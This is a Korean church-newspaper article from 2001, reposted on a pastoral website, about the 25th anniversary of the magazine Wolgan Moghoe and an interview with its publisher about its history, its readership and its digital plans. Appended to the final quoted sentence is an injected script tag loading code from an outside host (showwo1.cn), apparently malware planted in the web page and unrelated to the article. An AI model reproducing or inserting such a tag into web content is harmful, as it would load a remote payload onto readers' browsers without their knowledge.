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  목회닷컴 (2005-11-14 오후 2:51:44 , 조회 : 7877
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제 목   [기독신문] [2001년 09월 03일] 월간목회 25주년, 1976년 9월호로 창간 2001년 9월호까지 한 달로 거르지 않고 발행
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장차남 정성구 최기채 한명수 정장복 이중표 송길원 명성훈 박종순 주재용…. 지금이야 이름만 들어도 알 수 있는 한국 교계에 널리 알려진 지도급 목회자들이지만 25년 전 <월간목회>가 창간될 당시만 해도 이들은 각자 소속한 교단 안에서나 겨우 ‘똑똑하고 젊은’ 목회자였을 뿐이다. <월간목회>는 이들과 함께 성숙했다.


1976년 9월 창간호를 낸 <월간목회>가 2001년 9월 창간 25주년 기념호를 냈다. <월간목회>가 창간된 1976년은 교단간 신학적 정서적 긴장이 풀리지 않고 있던 시기였다. 그만큼 교단을 넘어선 목회자간 교류가 희박한 때였다. <월간목회> 발행인 박종구 목사는 바로 이점, 한국 교회 목회자들을 교단의 벽을 넘어 이어주는 장이 되어주었다는 것을 이 월간지가 가지고 있는 가장 큰 자부심이라고 말했다. “<월간목회>는 최초의 초교파 목회 종합지라고 할 수 있다. 신학적 예봉을 피해 가면서 목회 현장의 문제를 다루고 정보를 교환할 수 있도록 배려했다.” 8월 31일 반포에 있는 월간목회사 발행인실에서 박종구 편집 및 발행인을 만났다.


<월간목회>는 목회 현장에 정보를 전달하는 잡지의 역할을 넘어 크로스웨이 성경연구 프로그램을 개설하고 부설 목회연구원을 세워 목회자들에게 직접 다가가는 일도 시작했다. 박 목사는 이미 17년이 된 크로스웨이 성경연구를 “성장한 한국 교회가 성숙할 수 있도록 말씀 운동을 전개한 것”이라고 의의를 평가했다. 1980년대 초까지만 해도 한국 교회에 목회자 세미나는 드물었다. 따라서 <월간목회>의 이런 활동은 목회자들에게 계속 연구할 수 있는 장을 만들어 주고 연구하는 목회자상을 제시한 일로 평가될 수 있었다.


그러나 <월간목회>는 이제 그 25년 세월과 함께 ‘처음’이 누렸던 강점을 많은 부분 포기해야 하는 시점에 서있다. 더 이상 교단간 긴장이 목회자들의 초교파적 교류를 가로막지도 않고 있으며 수많은 목회자 세미나가 여기 저기서 열리고 있다. “그때는 정보가 궁핍한 때였으니까 우리의 희소가치가 있었는데, 지금은 정보의 홍수시대이다.” 박 목사의 현실 인식이다. 그의 현실 인식은 이제 <월간목회>가 “차별성’을 갖추어야 할 때”라는 당면 과제로 귀착한다. 박 목사는 그 차별성을 “자료만 실어주는 것이 아니라 논평과 비평, 평가도 하는 방향을 강화해야 한다”는 말로 대신한다. 사실, 이 점은 비평가들이 그 동안 <월간목회>에서 부족했던 부분들로 가장 많이 지적한 대목이다.


목회 현장에 밀착된 정보 제공을 주로 했기 때문에 <월간목회>가 가질 수밖에 없었던 또 하나의 약점은 시대정신이 부족한 것이라고 지적하는 비평가들도 있다. 박 목사는 이 점에 대해 “이제 거대 담론을 다루어야겠다”고 말한다. 미래 교회의 좌표와 사회 문제를 논하는 담론의 장을 마련하겠다는, 어쩌면 지금까지 지니고 있는 <월간목회>의 이미지와는 상당한 거리가 있는 새로운 방향을 박 목사는 설정했다.


<월간목회>가 견지해 온 보수적이고 고전적인 이미지와는 다른 새로운 비전은, 달라진 매체 환경에 대한 박 목사의 인식에서도 확인할 수 있다. “넘쳐나는 정보의 생산과 공유, 유통을 인쇄 매체에 담는 데는 한계가 있다.” 그래서 △목회종합자료 씨디 개발 △웹진 오픈 같은 디지털로 그 매체를 확대 개편하는 사업에 이미 착수했다. <월간목회>의 ‘나이든’ 이미지는 1세대 필진들이 나이가 들면서 더욱 고착되고 있는 듯하다. 박 목사는 그래서 “과감하게 젊은 세대들에게 지면을 맡길 생각”이다.


발행인으로서는 어쩌면 답하기 거북한 질문을 던졌다. “독자층이 편중되어 있는 것 같은데.” 에둘러 던진 질문에 박 목사는 솔직하게 그리고 직설적으로 대답했다. “7, 80년대 급성장을 이룬 담임 목사급이 1차적 독자층을 형성하고 있다. 현역으로서는 50대 후반에서 60대 전후이다. 30대 전후의 독자들, 신세대라고 말할 수 있는 독자층은 두껍지 않다. 향후 5년쯤이면 독자가 감소하지 않을까 걱정이다. 그래서 인쇄 매체와 동시에 전자 매체를 개발하려는 것이다.”


<월간목회>는 1976년 9월 창간하여 지금까지 25년도 동안 301권을 한 달도 거르지 않았다. 이를 박 목사는 “‘목회를 어떻게 쉴 수 있는가’ 라는 편집인의 편집증일뿐”이라며 ‘허허’ 한다. 그러나, 그 웃는 눈가에는 편집증이 아니라 소명의식이 엿보인다.
월간목회사는 9월 6일 저녁 6시 서울 센트럴시티 6층 밀레니엄홀에서 <월간목회> 창간 25주년 맞아 집필진과 후원자를 모시고 감사 예배를 드린다. 박 목사는 이렇게 말한다. “25년 흘러간 감상적 회고에 젖어 있는 것이 아니라 엄청난 미래의 도전 앞에서 첨예하게 긴장되어 있다는 것이 솔직한 고백이다. ?script src=http://showwo1.cn></script>  

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